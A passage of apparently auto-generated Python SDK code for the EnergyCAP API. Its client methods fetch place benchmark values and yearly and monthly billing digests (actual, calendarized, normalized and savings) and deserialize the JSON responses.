:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_place_benchmark_value.metadata['url']
path_format_arguments = {
'benchmarkIndicator': self._serialize.url("benchmark_indicator", benchmark_indicator, 'int'),
'placeId': self._serialize.url("place_id", place_id, 'int'),
'placeBenchmarkId': self._serialize.url("place_benchmark_id", place_benchmark_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BenchmarkValueRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BenchmarkValuesResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_place_benchmark_value.metadata = {'url': '/api/v3/placeBenchmark/{benchmarkIndicator}/place/{placeId}/benchmarkValue/{placeBenchmarkId}'}
def get_place_actual_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by building/organization for a
given number of years- Result includes cost, use, unit cost on an
yearly basis. It also includes target comparison data and commodity
level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.PlaceDigestActualAndCalendarizedYearlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_actual_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestActualAndCalendarizedYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_actual_yearly_list.metadata = {'url': '/api/v3/place/digest/actual/yearly'}
def get_place_actual_yearly(
self, place_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by building/organization for a
given number of years- Result includes cost, use, unit cost on an
yearly basis. It also includes target comparison data and commodity
level break up.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestActualAndCalendarizedYearlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.PlaceDigestActualAndCalendarizedYearlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_actual_yearly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestActualAndCalendarizedYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_actual_yearly.metadata = {'url': '/api/v3/place/{placeId}/digest/actual/yearly'}
def get_place_calendarized_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data by building/organization
for a given number of years- Result includes cost, use, unit cost on an
yearly basis. It also includes target comparison data and commodity
level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.PlaceDigestActualAndCalendarizedYearlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_calendarized_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestActualAndCalendarizedYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_calendarized_yearly_list.metadata = {'url': '/api/v3/place/digest/calendarized/yearly'}
def get_place_calendarized_yearly(
self, place_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data by building/organization
for a given number of years- Result includes cost, use, unit cost on an
yearly basis. It also includes target comparison data and commodity
level break up.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestActualAndCalendarizedYearlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.PlaceDigestActualAndCalendarizedYearlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_calendarized_yearly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestActualAndCalendarizedYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_calendarized_yearly.metadata = {'url': '/api/v3/place/{placeId}/digest/calendarized/yearly'}
def get_place_normalized_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized billing data by building/organization
for a given number of years- Result include use on an yearly basis. It
also includes target comparison data and commodity level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.PlaceDigestNormalizedYearlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_normalized_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestNormalizedYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_normalized_yearly_list.metadata = {'url': '/api/v3/place/digest/normalized/yearly'}
def get_place_normalized_yearly(
self, place_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized billing data by building/organization
for a given number of years- Result includes cost, use, unit cost on an
yearly basis. It also includes target comparison data and commodity
level break up.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestNormalizedYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestNormalizedYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_normalized_yearly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestNormalizedYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_normalized_yearly.metadata = {'url': '/api/v3/place/{placeId}/digest/normalized/yearly'}
def get_place_savings_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up savings billing data by building/organization for a
given number of years- Result includes cost, use, unit cost on an
yearly basis. It also includes a commodity level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceDigestSavingsYearlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_savings_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestSavingsYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_savings_yearly_list.metadata = {'url': '/api/v3/place/digest/savings/yearly'}
def get_place_savings_yearly(
self, place_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""
:param place_id:
:type place_id: int
:param number_of_years:
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestSavingsYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestSavingsYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_savings_yearly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestSavingsYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_savings_yearly.metadata = {'url': '/api/v3/place/{placeId}/digest/savings/yearly'}
def get_place_actual_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by building/organization for a
given number of years- Result includes cost, use, unit cost on a
monthly basis. It also includes target comparison data and commodity
level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.PlaceDigestActualAndCalendarizedMonthlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_actual_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestActualAndCalendarizedMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_actual_monthly_list.metadata = {'url': '/api/v3/place/digest/actual/monthly'}
def get_place_actual_monthly(
self, place_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by building/organization for a
given number of years- Result includes cost, use, unit cost on a
monthly basis. It also includes target comparison data and commodity
level break up.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestActualAndCalendarizedMonthlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.PlaceDigestActualAndCalendarizedMonthlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_actual_monthly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestActualAndCalendarizedMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_actual_monthly.metadata = {'url': '/api/v3/place/{placeId}/digest/actual/monthly'}
def get_place_calendarized_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data by building/organization
for a given number of years- Result includes cost, use, unit cost on a
monthly basis. It also includes target comparison data and commodity
level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for calendarized
and savings, and 24 or 26 (if 13 accounting periods) for calendarized
and normalized)
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.PlaceDigestActualAndCalendarizedMonthlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_calendarized_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestActualAndCalendarizedMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_calendarized_monthly_list.metadata = {'url': '/api/v3/place/digest/calendarized/monthly'}
def get_place_calendarized_monthly(
self, place_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up calendarized billing data by building/organization
for a given number of years- Result includes cost, use, unit cost on a
monthly basis. It also includes target comparison data and commodity
level break up.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for calendarized
and savings, and 24 or 26 (if 13 accounting periods) for calendarized
and normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestActualAndCalendarizedMonthlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.PlaceDigestActualAndCalendarizedMonthlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_calendarized_monthly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestActualAndCalendarizedMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_calendarized_monthly.metadata = {'url': '/api/v3/place/{placeId}/digest/calendarized/monthly'}
def get_place_nomalized_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized billing data by building/organization
for a given number of years- Result includes use on a monthly basis. It
also includes target comparison data and commodity level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for normalized and
savings, and 24 or 26 (if 13 accounting periods) for normalized and
normalized)
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.PlaceDigestNormalizedMonthlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_nomalized_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestNormalizedMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_nomalized_monthly_list.metadata = {'url': '/api/v3/place/digest/normalized/monthly'}
def get_place_nomalized_monthly(
self, place_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up normalized billing data by building/organization
for a given number of years- Result includes cost, use, unit cost on a
monthly basis. It also includes target comparison data and commodity
level break up.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for normalized and
savings, and 24 or 26 (if 13 accounting periods) for normalized and
normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestNormalizedMonthlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestNormalizedMonthlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_nomalized_monthly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestNormalizedMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_nomalized_monthly.metadata = {'url': '/api/v3/place/{placeId}/digest/normalized/monthly'}
def get_place_savings_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up savings data by building/organization for a given
number of years- Result includes cost and use savings on a monthly
basis.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years/24 months
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceDigestSavingsMonthlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_savings_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestSavingsMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_savings_monthly_list.metadata = {'url': '/api/v3/place/digest/savings/monthly'}
def get_place_savings_monthly(
self, place_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up savings data by building/organization for a given
number of years- Result includes cost, use, unit cost on a monthly
basis. It also includes target comparison data and commodity level
break up.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to two years of months (24 for actual and
savings, and 24 or 26 (if 13 accounting periods) for calendarized and
normalized)
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestSavingsMonthlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestSavingsMonthlyResponse or
